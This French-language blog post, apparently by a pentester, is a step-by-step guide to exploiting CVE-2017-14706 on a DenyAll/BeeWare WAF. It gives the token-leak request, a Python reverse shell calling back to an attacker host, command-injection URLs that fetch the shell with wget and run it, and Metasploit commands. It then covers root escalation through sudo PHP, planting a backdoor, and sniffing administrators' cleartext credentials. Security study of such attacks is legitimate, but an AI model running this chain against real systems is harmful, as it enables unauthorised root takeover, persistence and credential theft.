object.title
Comment exploiter la vulnérabilité CVE-2017-14706 (Unauthenticated RCE) sur un boitier denyall / beeware ?

Par B.Carpentier - The Expert Cybersécirité chez SQUAD

Exploiter la vulnérabilité RCE sur un boitier denyall / beeware

L’objectif de ce billet de blog est de vous montrer comment exploiter la vulnérabilité RCE sur un WAF denyall / beeware mais aussi de vous donner les meilleurs moyens d’élever vos privilèges afin de devenir root sur le boitier.

Ce processus vous permettra de capturer les crédentiels des utilisateurs se connectant à l’interface de management.

1 ) Exploitation de la vulnérabilité

La première étape pour détecter les faiblesses RCE sur un WAF denyall / beeware, consiste à exploiter les vulnérabilités découvertes par Mehmet Ince dans l’interface de management des WAF.

Elle permet d’exploiter une faille permettant de récupérer un token d’authentification valide sans s’identifier à l’interface.
Ce token est utilisé par des processus de la GUI pour authentifier leurs communications.

La requête :

<code>
https://<targetIP>:3001/webservices/download/index.php?applianceUid=LOCALUID&typeOf=debug
</code>

La réponse associée est :

<code>
<?xml version= »1.0″ encoding= »UTF-8″?>
<response status= »-1″>
<error code= »STACKTRACE »><arg string= »1″>Internal error</arg></error><line>
<datetime>2017-10-30 11:02:07 (CET)</datetime>
<action></action>
<function></function>
<request>a:3:{s:6: »typeOf »;s:13: »debugInternal »;s:4: »file »;s:9: »debug.dat »;s:6: »iToken »;s:32: »RandomToken42″;}</request>
<errornum>2</errornum>
<errortype>Alerte</errortype>
<errormsg>touch(): Unable to create file /var/tmp/debug/ because Is a directory</errormsg>
<scriptname>/beeware/gui/gui_root-5.5.12/wsSource/class/filesClass.php</scriptname>
<scriptlinenum>18</scriptlinenum>
<memoryKbUsage>1280</memoryKbUsage>
</line>

</response>
</code>

Ce qui nous intéresse particulièrement ici, est la valeur du token : randomToken42. Il va nous permettre d’authentifier les requêtes suivantes exploitants une RCE.

Avant d’exploiter la RCE, nous allons mettre en place un serveur HTTP minimaliste avec netcat, pour l’envoi d’un reverse shell python sur le checkpoint.

On crée le fichier reverseShell suivant :

<code>
HTTP/1.1 200 OK

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((« <attackerIP> »,80))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call([« /bin/sh », »-i »])
</code>

Puis nous mettons en place le listenner netcat qui va servir le fichier reverseShell sur le port 80:

<code>
# nc -l -p80 -c « cat reverseShell »
</code>

Certes, ce n’est pas très élégant, cependant, la manipulation est rapide et facile à mettre en place. Maintenant utilisons la RCE pour faire télécharger notre reverseShell sur la cible:

<code>
https://<targetIP>:3001/webservices/stream/tail.php?iToken=RandomToken42&tag=tunnel&stime=4242424242&uid=$(wget http://<attackerIP> -O reverseShell.py)
</code>

Notez la réutilisation du token précédemment récupéré : randomToken42.

Une fois le reverseShell uploadé, netcat devrait se fermer. Noua allons désormais le relancer pour recevoir la connexion du reverseShell :

<code>
# nc -l -p80
</code>

Et pour finir on exécute le reverseShell en utilisant la même RCE :

<code>
https://targetIP:3001/webservices/stream/tail.php?iToken=RandomToken42&tag=tunnel&stime=4242424242&uid=$(python reverseShell.py)
</code>

Maintenant la fenêtre où nous avons lancé netcat nous présente un joli shell :

<code>
sh-4.2$
</code>

Les détails techniques concernant ces vulnérabilités sont disponibles ici : pentest.blog

Vous êtes probablement surpris de la simplicité d’exploitation de ces failles ? Et bien sachez qu’il existe également un module metasploit pour tout automatiser :

<code>
msf > use exploit/linux/http/denyall_waf_exec
msf > setg RHOST <targetIP>
msf > setg LHOST <attackerIP>
msf > set LPORT 443
msf > exploit
</code>

Note: le payload par défaut est « python/meterpreter/reverse_tcp »

Si l’exploit a fonctionné, vous devriez obtenir quelque chose comme ça :

<code>
[*] Started reverse TCP handler on <attackerIP>:443
[*] Extracting iToken value
[+] Awesome. iToken value = <RandomToken42>
[*] Trigerring command injection vulnerability with iToken value.
[*] Sending stage (42231 bytes) to <targetIP>
[*] Meterpreter session 2 opened (attackerIP:443 -> targetIP:43614) at 2017-10-26 14:27:32 +0200
</code>

2 ) Élévation de privilèges

Avoir une session meterpreter, c’est bien, avoir un shell root, c’est mieux. Si la première étape vous a semblé simple, la suite risque de vous faire sourire, ou pas.

Avant toute chose, récupérons un shell depuis meterpreter :

<code>
meterpreter > shell
</code>

Quel est donc notre utilisateur courant :

<code>
sh-4.2$ id
uid=1000(gui) gid=108(beeware) groups=108(beeware),1005(memsyncd)
</code>

Listons ses privilèges sudo :

<code>
sh-4.2$ sudo -l
Matching Defaults entries for gui on this host:
!env_reset

User gui may run the following commands on this host:

(root) SETENV: ALL, (root) NOPASSWD:
/beeware/os/reverseproxy/bin/beeware-rp, (root) /usr/sbin/ethtool, (root)
/usr/sbin/dmidecode, (root) /bin/date, (root) /etc/init.d/openntpd, (root)
/etc/init.d/networking, (root) /etc/init.d/syslog-ng, (root)
/beeware/os/transfilter/sbin/transfilter, (root) /sbin/shutdown, (root)
/etc/init.d/beeware, (root) /sbin/iptables, (root) /sbin/ebtables, (root)
/sbin/rmmod, (root) /beeware/gui/php/bin/php,


</code>

Une ligne en particulier devrait attirer votre attention :

(root) /beeware/gui/php/bin/php

Ce qui signifie que notre utilisateur peut exécuter du PHP entant que root, sans mot de passe. Il ne reste plus qu’ à générer un reverse shell PHP et à l’exécuter avec « sudo »

Note : vous avez sans doute remarqué que l’on peut aussi faire des capture avec tcpdump … N’ayez crainte, nous y reviendrons un peu plus tard !

La génération du reverse shell et mise en place du listenner metasploit s’encode de la manière suivante :

<code>
# msfvenom -p php/meterpreter_reverse_tcp LHOST=<attackerIP> LPORT=80 -f raw > reverseShell80.php
# msfconsole
msf > use exploit/multi/handler
msf > set PAYLOAD php/meterpreter_reverse_tcp
msf > setg LHOST <attackerIP>
msf > setg LPORT 80
msf > set ExitOnSession false
msf > exploit -j -z
</code>

Nous pouvons utiliser meterpreter pour uploader le fichier, puis l’exécuter dans un shell :

<code>
meterpreter > upload reverseShell.php
[*] uploading : reverseShell.php -> reverseShell.php
[*] uploaded : reverseShell.php -> reverseShell.php

meterpreter > shell
sh-4.2$ sudo /beeware/gui/php/bin/php -f reverseShell.php
</code>

Dans l’autre fenêtre MSF, vous devriez obtenir quelque chose comme ça :

<code>
msf exploit(handler) > [*] Meterpreter session 1 opened (<attackerIP>:80 -> <targetIP>:33951) at 2017-10-30 16:04:43 +0100
</code>

Vous pouvez maintenant interagir avec la nouvelle session root:

<code>
msf exploit(handler) > sessions -i 1
meterpreter > shell
Process 4573 created.
Channel 0 created.
id
uid=0(root) gid=0(root) groups=0(root)
</code>

3 ) Post exploitation

Maintenant que nous avons un shell root, nous pouvons récupérer /etc/shadow et installer une backdoor ou sniffer les crédentiels des utilisateurs se connectant à l’interface d’administration du boitier.

Pour ma part, j’en ai profité pour modifier le jail python présenté aux utilisateurs se connectant en SSH pour rajouter des commandes utiles, dont une me permettant de rouvrir un reverseShell vers ma machine.

Voici les détailles ci-dessous,  de la méthode que j’ai utilisé pour sniffer, les crédentiels des utilisateurs.

On commence par récupérer un « vrai » shell interactif :

<code>
python -c ‘import pty; pty.spawn(« /bin/bash »)’
</code>

Puis on jette un rapide coup d’œil aux services en écoute :

<code>
oot@Beeware:/var/beeware/logs/reverseproxy# netstat -lptn
netstat -lptn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:199 0.0.0.0:* LISTEN 23916/snmpd
tcp 0 0 127.0.0.1:4949 0.0.0.0:* LISTEN 4621/munin-node
tcp 0 0 126.246.28.39:22 0.0.0.0:* LISTEN 23443/sshd
tcp 0 0 127.0.0.1:5432 0.0.0.0:* LISTEN 3956/postgres
tcp 0 0 126.246.28.39:3001 0.0.0.0:* LISTEN 1515/beeware-gui
tcp 0 0 127.0.0.1:3001 0.0.0.0:* LISTEN 1515/beeware-gui
tcp6 0 0 127.0.0.1:48400 :::* LISTEN 24164/java
tcp6 0 0 127.0.0.2:8080 :::* LISTEN 4745/java
tcp6 0 0 127.0.0.3:8080 :::* LISTEN 4745/java
tcp6 0 0 127.0.0.3:8081 :::* LISTEN 4745/java
</code>

Après plusieurs captures, il s’avère que les crédentiels passent en clair sur l’interface localhost via le port TCP/8080.
On peut les capturer et télécharger le PCAP comme ceci :

<code>
root@Beeware:~# /usr/sbin/tcpdump -i lo -w lo_tcp8080.pcap tcp port 8080
meterpreter > download lo_tcp8080.pcap
</code>

Personnellement j’aime bien wireshark, je m’en sers donc pour filtrer les paquets intéressants :

<code>
tcp contains pass
</code>

J’espère que cet article pourra vous aidez, n’hésitez pas à laisser vos commentaires pour nous en informer 🙂